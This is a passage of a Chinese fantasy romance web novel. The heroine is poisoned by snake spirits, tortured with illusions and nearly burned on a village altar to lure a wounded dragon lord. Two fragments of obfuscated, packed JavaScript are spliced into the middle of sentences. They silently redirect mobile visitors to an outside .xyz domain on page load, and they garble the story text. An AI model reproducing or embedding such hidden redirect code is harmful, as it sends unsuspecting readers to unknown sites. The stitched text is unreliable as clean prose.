青蛇说着就要探头攻击,张开血盆大口咬死我。
白蛇行动灵活地及时缠住青蛇身体,将青蛇牢牢捆住,着急阻拦青蛇:
“她的命,是生是死,你做不了主!她是帝君用半条命换回来的骨仙娘娘,就算杀她,也该由帝君亲自动手!”
青蛇恼怒高呵:“帝君对她、下得了手吗?!”
白蛇亦压沉声:“下不下得去手,都是帝君自己的选择。”
青蛇不服气道:“帝君就是心软,自己被害成这样,还舍不得动她一根手指头……你让开,我要替帝君清理门户!”
“你还想怎么样!你没看见你刚才那一尾巴,把她身上的护体金光都给打碎了么!她现在只剩一口气了!
凡人脆弱,你真把她打死在红云洞外,你信不信帝君伤好出关,把你**万段了!
你难不成还想让帝君再受一次天谴,呕心沥血地为她修补残魂,再痴痴等上她三百年吗?!
一次天谴,帝君失去了飞升成神的机会,再来一次天谴,你这不是在绝帝君的生路吗!”
“可我就是看不惯帝君为了一个女人、一个不值得的女人,把自己搞成这样!
它可是我蛇族的青漓帝君!这些年要不是蛇皇与大祖用本族秘术为他治疗旧伤,他每夜都得承受一次剜心之痛!
当年他驰骋战场时,是多么威风八面,蛟族那些孽障祭起诛仙阵也不是他的对手,他一人便屠了黑蛟全族,可现在呢,竟被一群凡人折辱,还险些丧命!”
“仇惑,值不值得,你说的不算……帝君说的,才算。”
“白术,我杀了她,帝君就肯回灵蛇山好生修炼了,就能飞升了!”
“你放屁,你杀了她只会让帝君更加痛苦!”
“可我,不想这么轻易就放过她!”
“惩罚一个女人的方式……有上千种,不一定,非要让她死。”
“白术……”
我趴在地上,伸出染血的手,哽咽祈求那两道蛇影:“让我见见、青漓……我没有、背叛他……我要向他解释清楚!”
“解释?”白蛇冷笑一声。
一晃眼,两蛇相继化成一白一青两抹身着广袖长袍、墨发及腰的年轻男人。
白衣男人语气冰凉:“你不会以为,我拦下仇惑,是想救你吧?你这种女人,就该死!还妄想再见帝君,做梦!解释清楚?你有什么可解释的!”
我焦急落泪,虚弱启唇:“那灵符,我也不知道它会出现在我身上,我没想用灵符伤害阿漓……”
青衣男子讥笑:“就算灵符的事是冤枉你了,你可还记得……就在前天,你亲手,捅了帝君一刀,而且还是朝心脏处捅的!”
我愣住,心慌意乱,怯怯追问:“怎么可能!我什么时候捅伤阿漓了?!”
“死鸭子嘴硬!好,那我就让你,亲眼看个明白!”
他宽袖一挥,顿时一面青色水镜就出现在我眼前的地面上,水镜里重现前天下午东院内一幕幕震人心神的画面——
原来,前天、他根本不是深更半夜回来的……
而是,下午太阳还未落山,就着急赶回家、陪伴我……
那时的我,伏在紫藤花架下的石桌上昏睡不醒,全身惊颤。
他见我情况不对,便赶紧大步迈过去,扶住我的肩膀,轻轻摇晃,温声唤我:“阿鸾,阿鸾你怎么了……阿鸾!”
后来,他发觉我额角冷汗淋漓,脸色愈发苍白,便更加心急地抱起我,送我进卧房——
把我放在床上,他动用法术要为我治疗,可我,却不停惊恐地梦呓喃喃:“阿漓……别**!”
“阿漓,你怎么变成这样了……”
“阿漓、求你,放过他们!”
他施法的手一顿,眼神复杂地凝望着我。
情绪愈渐失落。
“阿鸾,在你心中……本尊,终究是个**如麻,凶戾可怖的妖孽。”
“帝君。”有人唤了他一声。
他恍然回神,拂袖站起身,威仪询问:“何事。”
青蛇化成人形,一阵烟云现身在卧房内,恭敬向青漓回话:
“查出来了,冒充帝君**的,是只蛇妖,道行不浅。不知怎么回事,我与白术都看不破她的本相真身……只能通过招式,辨认出她是蛇族,至于是什么品种的母蛇,恕属下无能。”
他听完平静道:“无妨,明日本尊亲自去会会她。”
而就在他们说话时,昏睡的我突然从床上坐了起来,光着脚下地,眼眸浑浊,目光呆滞地一步步挪到他背后……
他转身看见我:“阿鸾……”
可我,却突然不知从哪里摸出一把锋利**,二话没说,举刀捅进了他的心脏——
他吃痛闷哼一声,胸口的灼目鲜血顷刻浸湿他的半身青袍……
“阿鸾……”
我咬牙,一脸厌恶,一字一句坚定骂道:“你**、就该死!”
短短六个字,惊碎他眼底一池春日温水。
款款深情,霎时凝为冬月冰霜。
青蛇惶恐惊呼:“帝君!”
伸手就要拽开我。
但却被他沉声阻止:“别碰她!”
青蛇着急道:“可她,一刀捅进了您的心脏啊!”
他担忧对上我呆滞无光的眼眸,心疼抱住我,大手温柔轻抚我的脸颊,颤声为我解释:“阿鸾,是中了幻术……本尊,不怪她。”
“帝君!”
“阿鸾,醒过来……本尊,是阿漓……本尊,不**。”
那句话中的每个字,都夹杂着无尽的心酸与委屈……
我捅伤他后,就晕死在了他怀里。
而他,并没有怪我。
只是卑微地把我紧紧搂在怀里,不顾自身伤势严重,一遍又一遍地在我耳边轻轻重复:“阿鸾,本尊不是畜生……”
“本尊,不**,你信本尊……”
看见这一幕,我才恍然想起,那夜我迷迷糊糊睁开眼,却看见他褪下血淋淋的衣物,施法焚化——
我以为,他是在销毁罪证……竟没想到,他焚去的衣物上,沾染的全是自己的血!
那天我明明是在梦里杀了那条冒充青漓的假青龙……怎么会、真一刀捅进了青漓的心脏!
“为什么,明明是在梦里……为什么,还是伤到了青漓!怪不得昨晚那些人提及这六个字时,他会突然对我失去信任……”我痛苦伏地大哭:“我没有想杀阿漓!我怎么会对他起杀心!”
青蛇义愤填膺的高傲抬了抬下颌,冷漠无情道:“看见了么?这就是证据!你还想怎么抵赖?”
“我没想杀阿漓!”我激动地嘶声为自己辩解,可,我本就不该妄求,除了青漓以外的人与妖会信任我……
白蛇淡淡道:“你想没想,帝君都已经因你而身受重伤,命在旦夕了!宋鸾镜,你这种没有心的女人,我阻止仇惑杀你,是不想脏了他的手!你,根本配不上我们帝君!”
我、是配不上青漓。
我低头,眼泪化成血,一滴一滴砸在艳红灼目的凤凰花瓣上……
白蛇倏然在指尖化出一只通体泛着银光的小虫,弹指将小虫弹进了我的口中。
我还没反应过来有东西入了口,那小虫就已顺着我的喉头,主动迅速进我的食道,钻进我的心脏——
下一瞬,我本就被戳了个洞的心脏顿觉一阵麻木剧痛!
像、虫子在啃噬我的心脏血肉!
我疼得更加没有力气,满头大汗地瘫倒在地,捂着心口翻来覆去生不如死——
白蛇站在我头顶,居高临下的睥睨着我,冷冷发话:
“此乃,七日陨,是我豢养的灵蛊,以凡人心脏为食,若无解药,七日内灵蛊必会蚕食尽你的心脏,啃空你的胸膛!
这七日,亦是帝君闭关疗伤的紧要关头,你最好祈祷帝君能顺利度过此劫,届时帝君出关,或许想起了你,心一软,就带着解药去救你了。
不然,七日一过,你的心脏被灵蛊完全啃噬,你此生的寿数,便也到头了。
你中了七日陨,阳寿便只剩下最后七日,且,如今才是刚刚开始,往后的每一日,你只会愈来愈痛苦,灵蛊会折磨的你,一日比一日憔悴,一日比一日生不如死!
这就是你算计帝君的代价!”
“仇惑已经打碎了你的护体金光,没有这道神光保护,九黎山方圆百里觊觎你的妖物,就能轻易近你的身,折磨你,欺辱你。我就是要让你知道,没有帝君,你什么都不是!”
“你若还有一丁点良心,就不要透露帝君的修炼之地,不然,扰了帝君闭关修炼,我和仇惑不介意和你们月阴村、九黎族拼个你死我活,看看是你们这些失了神族庇佑的落魄古族厉害,还是我和仇惑这两条千年蛇妖更胜一筹!”
“你老实听话认罚,死的,顶多只是你一人。你若仍不安生,惹是生非……我们就血洗月阴村,让那些贪婪自私的村民给你陪葬!”
白蛇说完,目光凌冽地瞥了我一眼,随即一袖子将我扔出了九黎山——
下一秒,我就重重摔在了自己家的东院里。
大力大武听见动静从堂屋跑出来,见我半死不活地躺在地上,急着摇晃我的身体。
我被两只小纸人晃醒,奄奄一息地睁开眼……疲倦地看了看他们,又虚弱的合上了双眸。
大力急着把我背进屋,找湿毛巾给我擦拭脸上的血迹与汗水。
灵蛊在心口啃得我疼到焦躁,我不顾心头还有伤,指尖隔着外衣,狠狠抠进伤口里……想把胸前皮肉撕烂。
大武怕得在我床前来回徘徊薅光秃秃的脑袋,没多久,忽然想到一个办法,跑去厨房掏了一截没烧完的木柴,找到两张纸,在纸上歪歪斜斜地写上两行小字。
戳了戳我的肩膀,把纸张送给我。
我扫了眼纸上横七竖八的两行歪字,上面写的是:谁把你伤成这样的?你见到主人了吗?和主人解释了吗?
我咬牙痛得全身冒冷汗,拖着哭腔虚弱回答:“我没见到阿漓……他伤得很重,在闭关。我没机会、和他解释。”
大武火急火燎地又写:是不是白术仇惑欺负你了?
我含泪闭上眼,疼得无力回答。
大力夺过大武的炭笔也写下两句话:你很疼对不对?我去找老李!
我一怔,着急拉住大力的胳膊,严肃与他们道:“你们现在谁都不能出去!也不能让任何人知道我……生病了!”
白术说过,我若是惹是生非……他们就学习月阴村。
阿漓不在,没人能管制他们。
他们说得对,我要是不老实,他们完全有能力,让更多无辜人为我陪葬。
李大叔一旦发现我体内有什么灵蛊,肯定会追问阿漓的下落。
眼下为了阿漓的安全考虑,还是尽量不要让第二个人知道阿漓在哪。
我相信李大叔,可一旦开了这个口子,万一消息不小心泄露,被我妈知道……就全完了!
最妥当的法子,就是守口如瓶,让消息烂在我肚子里。
大力大武瞪大双眼不解看我,我虚弱地朝两人伸手。
两只小纸人立马乖乖赶过来牵住我指尖。
我低声与他们讲道理:
“我没事,有青漓在,白术和仇惑不敢让我死。
你们俩虽然是青漓的法力所化,可外面很凶险,青漓不在,我不希望你俩也出什么差池……
大力大武,我很累,已经自顾不暇了,你们现在乖乖留在院子里,就是对我最大的帮助。
李大叔他再怎么说也只是个普通人,白术的法术,他解不了的,你去找他,就算成功把他带过来了,也不过是多一个人为**心。
听话,别为我添麻烦……你们如果在外面出事了,我这个样子,我怕我不能及时救下你们。
我已经失去了青漓……不想再失去你们。”
两只小纸人闻言皆是伤感的呜咽哭起来。
我无奈伸手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492899|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给他们擦眼泪:“好啦,别哭,本来就怕水怕火……当心眼泪把自己浇坏了。”
大力委屈巴巴地拉我袖子擦眼泪。
我躺在床上阖目想了想,忽又哑声问他们:“你们有没有什么办法……让青漓,彻底断掉与我的联系?”
大武一怔,急忙再去写字:什么意思?
我睁开朦胧眼眸,望着红纱帐顶,低低道:
“我怕我妈不会善罢甘休……逼急了,她们有可能会拿我当诱饵,用我引出青漓。现在青漓重伤在身,真是她们乘胜追击,趁他病要他命的好机会。”
我可、太了解我妈和宋花枝了。
“我需要一个办法,等她们拿我做诱饵时,青漓那边会毫无感应……我的生死,都不会影响到青漓。”
大力想了想,一拍脑袋!
用炭笔在纸上写:
主人是龙,龙对爱人的气息很敏感,如果有人强行放大你的气息,主人在千里之外也能感应到你的安危。
主人现在身受重伤,可能嗅觉会受减弱,但用特殊手段,还是能引来主人的,要想让你的气息完全不影响到主人,除非你先下手,用药物遮住身上的气息,这样主人就感应不到了!
大武也夺过笔激动写:对的对的!只要你遮住身上的气息,主人就闻不见了。我有药!
“你有?”我撑起身子,心下一喜:“给我试试。”
大武从怀里抠了半晌,拿出一粒深褐色药丸。
药丸送进我手里后,大武写道:这是主人之前给我的,让我和大力出门的时候吃掉,能遮住身上的妖气。
青漓给的,那肯定管用。
大力把自己那颗也给了我。
我深呼一口气,果断把两颗药丸都给吞了!
这样,至少有备无患。
只是服过药后,我心口的剧痛麻木又开始了。
我不想让大力大武担心,就小声说了句自己累了,把他们打发出去,让他们自个儿去外面玩了。
我躺在床上痛了整整一下午,直到太阳下山时分,我才稍觉好受几分。
身上的衣物都被汗水浸湿了,我腿软无力地打了两桶井水倒进浴桶,不要命地倾身一头扎进去——
井水冰凉,却能压下我身上的麻木疼痛感。
只是心口的鲜血,很快就染红了整个水面……
清洗完身子,我换上干净衣物,给心口伤处按了点止血药粉。
抱着脏衣服出门丢洗衣筐,却发现宋花枝不知何时进了东院,此刻正坐在紫藤花架下得意摆弄自己刚染好的十根红指甲……
眼尾余光瞟见我出门,宋花枝扶着石桌站起身,柳腰轻摆,蓝纱裙摆轻盈飘逸,雪白的细腕上,银铃镯子叮叮作响。
“有时候,我倒是挺佩服你的,发生了这么大的事,竟还能静下心来,在自己屋子里睡了一整天的觉。我要是你,早就六神无主寝食难安了!看来,你也没有那么喜欢龙仙嘛。”
我把脏衣服丢进竹篓里,冷冷道:“你来,是为了看我笑话的?现在看完了,可以走了。”
宋花枝嗤笑一声,抱臂得意道:
“我是来劝你,收收你那上不得台面的小心思!你以为,仙,真的会爱上人吗?
你宁愿忤逆母亲也要保住那位龙仙,可他呢?别人几句话,他就对你心生疑窦。
你不觉得你很可笑么?
阿鸾啊,你太单纯了,从小到大,你在这种事上吃了多少亏?
小时候,你相信许小龙,可他却在你毁容后,为了不受你牵连,毅然加入了那些欺负你的人队伍,和他们一起,以取笑伤害你为乐。
长大后,你相信赵二哥,可他最终还是为了长生不老,爬上了我的床。
什么为了给母亲治病,他母亲的病是良性的,并没有到晚期,他啊,是看村里的男人都爬上了我的床,他馋了。
二十多岁的小男人,正是血气方刚的阶段,你让他等你?哈,这天底下的男人,哪个不是死要面子自尊心极强?
你好歹是正经大学的毕业生,而他呢,普通农民,村长的儿子,也就在咱们村里有点小身份,出去了,屁都不是!
他如果真娶了你这个大学生,以后邻居们说起来,他处处不如你,你让他的脸往哪里搁?
你真以为,鸡窝里飞出凤凰,其他鸡就会羡慕崇拜凤凰?不可能!事实永远是,在鸡的世界里,凤凰才是那个异类,凤凰,才有罪!
呵,现在呢,你还是没有长记性,你才认识龙仙多久啊,他不过是同你说了几句好话,哄了你开心,你就对他死心塌地。
你这般容易付出真心,活该被人辜负。”
宋花枝慢步迈到我身后,玉手抚过我的脖颈,指尖柔柔摩挲我的锁骨,软语诱惑道:“妹妹啊,早点把龙仙让给我,你不就不用受这些苦难了么?”
她的指尖还欲往我心口探,我一把抓住她的脏手,厌恶甩开:“滚!我不想看见你!”
她闻言也不恼,甩了甩玉白纤手,勾唇讥笑:“你啊,也硬气不了多久了,好好珍惜这最后一个平静的夜晚吧!明天,妈那边还有惊喜等着你呢!”
说完,她扭着细腰,分花拂柳地慢步离开了东院。
明天、惊喜……
我无奈低笑,不过是又想到了新法子折磨我罢了。
我进了堂屋,见大力大武都回房睡觉了,就插上了两道门闩。
夜里,耳边呼啸的风声吵得我睡不着觉。
意识浑浑噩噩,眼前全是青漓与宋花枝的影子——
宋花枝雪白的长腿在红帐内若隐若现,男人的喘息声像夺命的**,剜得我心口疼。
“龙仙大人,这次……您真的放下妹妹了?”
“宋鸾镜,她,不配得到本尊的爱!”
可能是因为心口本就有伤的缘故,今晚,我只听见这两句话,就一时气急攻心,猛地翻身朝床头地面上呕了一滩血……
恍惚间,有道红影出现在我的模糊视线里……
一只纤长玉手轻轻挑起我的下颌,红衣上的潋滟鳞光晃得我眼花。
“白术那个狗东西,下手可真狠啊,连你的护体神光都给你震碎了……呵,甚好。”
“骨仙的元神,我垂涎已久。”
“待我彻底摧毁你的意志,令你失去反抗的意识,你的元神就是我的盘中餐了……”
“青龙仙,你夺走清河村那些人的魂魄,害我失了口粮,还震碎我的本体,令我元神无所依附……”
“我就用你挚爱的元神,来抵命!吃了骨仙的神魂,说不准我还能立时拔地成仙呢,哈——”
第31章 阿鸾没有气息了……
梦里那些春意盎然的画面催得我神志朦胧神识不清,七日陨在我心脏内疯狂啃噬着我的血肉,精神与肉体的双重折磨逼得我几近崩溃,痛不欲生。
一夜未眠。
天刚亮,我换掉身上又被汗湿的两层衣物,头昏脑涨地出门。
由于近两日都睡眠不足,我的五感敏锐度也在迅速下降……
连银杏风风火火冲进我院子的脚步声都没有听见。
再醒过神,我的手腕已经被银杏冰凉的五指攥住。
银杏仓皇慌乱地拉上我就跑:
“镜镜快跑!你妈和月阴村的人要把你送上祭台烧死!我爸已经安排好了,赵叔的拖拉机就在村口!
我把你送过去,他会带你去县城,你到了县城车站立马去买最近一班回省城的大巴车票!
镜镜,你走吧,逃离这个**的月阴村,永远不要再回来了!”
逃离月阴村、不要再回来……
可我妈,又怎会让我们如愿呢。
银杏刚拉着我跑出家门,踏上离村的小道,一抬头,就见到我妈领着月阴村的村民站在前路上,一脸阴沉地严肃凝视着我与银杏……
“宋阿姨……”银杏猛地顿住步子,机灵的抓住我转头要往反方向跑。
可小路的另一头,也被老六叔带人拿着锄头铁锹给堵**。
看这阵仗,俨然是不打算放过我——
银杏停住步子,进退两难地咬咬牙,从口袋里摸出手机,迅速拨通李大叔老年机的手机号。
“爸,计划有变!”
李大叔那边没有回话,但十几秒钟后,我妈带领的那拨人群后突然丢出一枚**。
**在人群前炸开后,吓得村里男女老少纷纷慌张逃窜——
银杏配合极好拉上我,看准时机,快步趁乱冲出人群——
她带我穿过重重浓烟,直奔村头而去。
我妈反应过来后也迅速施展巫术要来擒我。
是李大叔出手替我化解了母亲的法术,迫不得已出招与母亲交手……
“淑贞!不要一错再错了!”
“你让开!”
“这可是你亲生女儿!”
“我的女儿,我想怎么处置就怎么处置!”
“上了祭台,被焚烧祭天,你这不是在要镜镜的命吗?”
“我管教自己的女儿,与你无关!我劝你不要多管闲事!”
“淑贞……”
李大叔一个人根本不是月阴村那么多村民的对手,不过片刻,李大叔就被人偷袭伤了腰,被老六叔反剪双臂,一脚踹跪在地了!
“李银杏!你再不停下来,我就对你爹不客气了!”老六叔厉声威胁。
可银杏闻言,却头也不回的带我跑得更快了,任凭老六叔在身后怎么喊,都没有放弃送我走……
“镜镜,你这一走我们俩可能这辈子都不会再见面了,你到地了记得给我打电话,带手机了没?
没带的话,我把我的手机给你,我口袋里还有三千块钱,是我爸让我拿给你的!
你带着这些钱,回省城,回属于你的那片天地。镜镜,你记住,你不欠月阴村任何人……”
直到背后传来李大叔的痛叫声,银杏的身体被我妈用巫术控制住,银杏才陡然停下来,红着眼眶迅速把自己的手机与红布包着的钱掏出来,塞进我手里,推了我一把——
“镜镜,走啊!”
我对上她猩红含泪的眼眸,咬住唇角,拿着钱和手机拼命往村头跑——
李大叔与银杏付出这么大的代价为我换来的机会……我不能辜负他们的心意。
可、就在我吊着一口气拼命往前冲时——我的心脏,又遽然一阵裂痛……
双腿一软,狼狈地摔在地上。
但我清楚,我不能停……现在、还不能矫情……
我得跑,我跑了,李大叔的伤才没有白受,阿漓才会更安全!
我艰难爬起身,忍着身上的疼痛继续向前跑——
我妈的声音也从后愤怒传来:“宋鸾镜!你敢跑,我就让老李头和李银杏这对父女、魂飞魄散!”
我没有停下脚步。
可下一秒,银杏的惨叫声就随风灌进了耳中:“啊——不要!不要撕我衣服,你们这群浑蛋!”
紧接着就是男人一巴掌用力扇在银杏的脸颊上:“再叫!再叫我把你这张漂亮小脸划烂!”
李大叔恼火低吼:“你敢动我闺女试试!宋秃子!我和你没完——”
我沉重的脚步猛地停下,我妈冷漠无情道:
“宋鸾镜,你敢跑,李银杏这个小丫头的清白可就不保了!老二,看准了,宋鸾镜敢再往前踏一步,你就和老三就把李银杏的脸划烂,把她的衣服,扒干净!”
我一把攥住胸口的衣衫,恐惧感在泛着剧痛的胸腔里重重回荡,灵蛊还在一口口啃噬着我的血肉,有鲜血从心口旧伤内渗出来,染湿衣襟。
不能走了,这次,是真的走不了了。
我果断转身,原路跑回去……
我妈见状,眸内阴沉渐散。
我疼得满身热汗,疯狂跑回衣衫不整的银杏身边,用尽全力一把猛推开该死的宋秃子——
把银杏抢回怀里抱住。
“滚啊!”我颤颤落泪,又强行夺掉王瘸子手里打破李大叔脑袋的榔头,报复性地一榔头挥在他那条好腿上,夯得他跌倒在地嗷嗷痛叫。
“镜镜……”银杏红着脸拖哭腔喊我。
李大叔也挣开了老六叔的束缚,失望地转身指着众人骂道:“你们可真是,无药可救!”
我把银杏推进负伤的李大叔怀里,毅然挡在父女俩身前,对上我妈那双冷漠眉眼,低低请求李大叔:“帮我、照顾好大力大武……”
李大叔心痛道:“孩子,你怎么不跑啊!”
我无奈面向我妈,嘴角扯出一抹自嘲的笑:“我的命……没有那么贵,贱命一条,不值得用两条好命去换。”
“镜镜……”银杏委屈大哭出声。
我伸出双臂,主动把双腕送给母亲:“你们想烧,就烧吧,烧死我,也免得你瞧着心烦。”
我妈眼底的光沉了沉,没有再说话,只冷漠转身,示意两名年轻气壮的男村民押住我,推我往村里祭神的祭台方向去……
“镜镜、镜镜!”银杏要来追我,被李大叔面色苍白地强行按在怀里。
我像个犯了滔天大罪的犯人,被全村人押上了祭天的神台——
双手与身体都被铁链牢牢捆在神台的十字木架上。
祭台下,是村民们早就堆好的干柴……
只需要一把火……就能结束我这短暂可笑的一生。
把我扔上祭台后,台下的村民们嚷嚷着要烧死我祭天,我母亲则面色阴冷地拄着权杖,注视我的目光里,毫无波澜——
“你背叛月阴村放走青龙仙,就是我族的叛徒……鸾镜,母女一场,为娘再给你最后一个机会,你只需要回答为娘一个问题,为娘就放了你。”
我恹恹昂头,体内的七日陨灵蛊又开始发作,胸腔内阵阵灼烫,有股热流顺着食道,抵上喉头……
“妈……你何必如此、大费周章……”
其实,就算您不动手……我也只剩下,六天的阳寿了。
我妈面无表情地质问:“你是青龙仙亲自挑选的伴侣,只有你能找到青龙仙,告诉本族长,青龙仙,现在藏身在何处?”
我听完,却无力轻笑,耳鸣得厉害,勉强打起精神,沙哑低吟:“妈,你果然还是想,趁人之危……”
我妈倒也不隐瞒,直言不讳道:“青龙仙祸害我们月阴村,我们必须要除了他!乘胜追击,方能斩草除根,永除祸害!”
我笑得更大声了:“哈哈,斩草除根、永除祸害……欲加之罪,何患无辞。”
老六叔在妈身边恶狠狠要挟:“少和我们拽文!告诉我们龙仙的下落!”
我含泪别过头,“我不知道!”
“不知道?你放屁!昨天一早有人亲眼看见你爬上九黎山,找龙仙去了!我们在山下堵了大半天,也没见你下山回来。
可晚上,你却又莫名其妙出现在自己家里,不是龙仙送你回来的,还能是怎么回来的?!
宋鸾镜,我劝你不要不识好歹!你直接告诉我们龙仙的下落,还能免收皮肉之苦!
不然,就算你不说,我们也有办法逼龙仙现身!烧死你这个龙娘娘,我就不信青龙仙舍得眼睁睁地看着你,化为灰烬!”
老六叔说完,我毫不给面子地冷淡反驳:
“六叔你记性真差!你忘记前天晚上,是你们口口声声说我和妈联手设计陷害青龙仙,青龙仙已经不信我、不要我了!
他根本不可能再见我,我昨天是上过九黎山,但我在落枫洞内,根本没找到他!你就算现在把我烧死,青龙仙他恨我,他根本不会再来救我了,你们,引不出来他的!”
“你!”老六叔愈加气急败坏,指着我催促道:“老姐姐,快,烧死她!我就不信那条妖龙能忍住眼睁睁看着自己等了三百多年的骨仙娘娘化成灰烬而死不现身!”
台下的村民们也都义愤填膺地附和催促:“对,烧死她,烧死她!”
“烧死她,把龙仙引出来,一网打尽!”
“烧!”
我妈低头思忖片刻,下定决心,攥紧权杖一声令下:“点火!”
村民们很快就用火把点燃台下泼了火油的木柴——
今日,风大。
火势蔓延,瞬间就起。
我被灵蛊折磨得生不如死,已经没有多少精力再去管那熊熊燃烧的炽热火焰了……
隔着焚烧汹涌的火光,我泪眼朦胧看向一贯冷漠高贵的母亲,心累呢喃:“妈,你从未、真正爱过我……”
妈注视我的目光稍黯了黯,攥在权杖上的那只手,指节泛白。
飓风骤起,扬的火舌吞噬上祭台……
可能是因为身上本就在冒热汗的缘故——火舌吞至我脚边,我竟未察觉到烫意……
这样,也好。
被烧死的时候,或许能少受点痛。
火舌燎上我的长发,焦味钻进鼻息,有些呛人。
我闭上眼睛麻木等死……
但,一阵阴风从身后袭来。
我再睁开朦胧泪眼——却见到一抹、熟悉的男人背影。
男人还是二十五六岁的年轻形象,穿着蓝布衫,蓝色长裤。
短发乌黑,脖颈与双手手背,都渗着乌黑血迹——
男人的身影化形在我面前,颤抖抬手……
沙哑启唇,卑微祈求:“阿贞……”
我妈陡然一愣,大惊失色。
台下的村民们也一时乱成一团,惊恐尖叫。
有人慌张喊出了他的名字——
“穆原!是穆原回来了!”
“穆原的魂回来了!穆原的魂,现身了!”
我呆呆昂头,盯着那抹背影,霎时泪水滚下眼眶——
“爸……”
男人半透明的灵魂护在我身前,无力开口:“放过、我们的……孩子……”
话音落,那脆弱的残魂便被冷风吹散了去。
我抖着嗓音,迷茫无助地四处张望,“爸,爸——”
又一阵强风卷着滔天火舌迎面扑来——
我以为,这回我不被烧死,也要被烧成重度烧伤……
可让我没想到的是,危急关头,竟是我妈出手,一掌寒风袭灭了熊熊烈焰——
火势迅速褪去,我恹恹睁眼,只见到满地烧焦的炭黑木柴,与袅袅未散的白烟。
“族长,不能放过宋鸾镜啊!”
“族长,青龙仙还没有被引出来呢!”
“确实、不能再烧了,再烧,真把人烧**……你们还没看出来么,这一招引不来青龙仙……”
我妈拄着权杖,眼神冰冷地步步登上祭台,打断村民们的议论:“所以,得改变策略!”
她行至我身侧,从腰间掏出一把锋利的小刀,一刀下去——划破我的手腕。
血极快地渗出伤口,凝结成珠、吧嗒吧嗒坠落在木板搭建的祭台地面上……
我瞥了眼手上的右腕,讥笑出声。
我妈眼底晦暗不明:“你最好,祈祷你的血能引来青龙仙,不然,四天内你身上的血流光……母亲也救不了你。”
“鸾镜,母亲所做的一切,都是为了月阴村。”
“别怪母亲。”
怪?我哪敢啊……
从小到大,我都是那个唯一的、牺牲品。
我妈临走,又低声告诉一个秘密:
“母亲不想你死……但青龙仙的下落,你必须给母亲吐出来。你近来是不是,总会出现幻觉。是红蛇,在左右你的思想,它,会替我问出我想要的答案。
镜镜,少反抗一分,你就少痛苦一分。被摧毁意志的过程很痛苦,你即便能侥幸活下来,也会、变成疯子,这辈子,都神志不清,活得浑浑噩噩。”
“红蛇……妖?”我恍然,苦笑出声:“原来这些天一直是她在捣鬼!妈……你怎么能与妖孽为伍!”
我妈回头瞥了我一眼,狠心抬步离开:“妈也是,被你们逼的。”
妈说完,就带着月阴村的所有村民,浩浩荡荡地离开了祭台……
而我,也被灵蛊折磨到虚脱,彻底撑不住地低头晕**过去——
夜里,那道声音又出现在耳边了。
声声蛊人心弦。
“宋鸾镜,告诉我,青龙仙在哪?”
“宋鸾镜,他已经不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504336|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要你了……你受了这么重的伤,差点就没命了,他仍对你不管不问,他不爱你,他现在、对你只有恨。”
“宋鸾镜……你抬头看看,你心心念念的青龙仙回来了……”
我强撑着精神,昂头,睁开沉重的眼皮——
却见到,青漓搂着衣着暴露的宋花枝,在不远处拥吻亲热……
他的手,在宋花枝的杨柳细腰上,肆意揉捏。
暧昧地亲吻宋花枝鼻尖,温柔抚摸着宋花枝娇俏含羞的脸庞——
“哎呦,龙仙大人,你轻点嘛……都弄疼人家了。”
“心肝儿……你不是最喜欢,本尊重一些么?”
我紧咬舌尖,满口血腥,痛苦闭上双眼,浑身发颤。
都是假的,是幻觉!
不能相信,宋鸾镜,一旦相信就着了她们的道了!
这都是蛇妖设下的幻象!
男女欢好的声音似盘旋在我的头颅里,逼得我心脏抽痛,腕上血坠得更快了……
蛇妖附在我的左耳,低声拱火:“你看啊,他回来,不先救你,反而和你的姐姐鬼混……宋鸾镜,他不信任你,他是龙,龙性本淫,龙,是做不到一生一世、一双人的。”
“他如果真的在意你,怎会纵容自己的手下将你打成这样,还喂你吃七日陨……这可是青龙仙用来惩罚妖孽的极刑!”
“你很疼吧?告诉我,青龙仙在哪?”
“姓李的父女俩现在自身难保,你母亲在祭台四周设了结界,如今,只有我能帮你解脱……”
“阿鸾,告诉我,青龙仙的下落,他,究竟藏在哪?”
我晃了晃快要裂开的脑袋,噙着满口鲜血,咬死不认:“我不知道,我没见到青龙仙,我什么都不知道!”
蛇妖的声音缓缓远离,冷哼一声,不屑道:
“我就不信,中了我的幻术,你能撑得过三日!以往有护体神光护着你,我不能对你下死手,现在,你的护体金光已经碎了,我迟早,能逼你低头,老实交代!”
话音刚落,我就被一股妖力强迫着昂头,睁开疲惫的双眼——亲眼看着青漓**、与花枝缠绵。
红纱帐后,一丝不挂的两人缠绵、交融……
男人的闷哼,女人的低吟,都似一声声催命咒,逼得我心脏炸痛,双目欲裂——
我被拉入血流成河的陈家湾村,又被强行拽入他与宋花枝的旖旎春景。
被迫听着他们的软语温存,以及对我的贬低羞辱……
心脏内的灵蛊较之昨天,发作得更厉害——
幻境一重重交叠,我被眼前一幕幕刺眼场景给晃得几度分不清现实,记不清我自己是谁……
“青龙仙,在哪?”
“宋鸾镜,我再问你一遍,青龙仙在哪?”
我摇头,声嘶力竭:“不知道、我不知道——”
“废物!”
无数幕有他身影的场景在我脑中飞速交替,我觉得、我的脑子要储存不了这些记忆了……
脑子好涨,好痛苦……快要炸开了!
终于,在她又一次询问我,青龙仙在哪时……我撑不住的一口黑血喷出去。
被逼得七窍流血,神志不清。
“我不知道、不知道……”
我什么,都不知道……
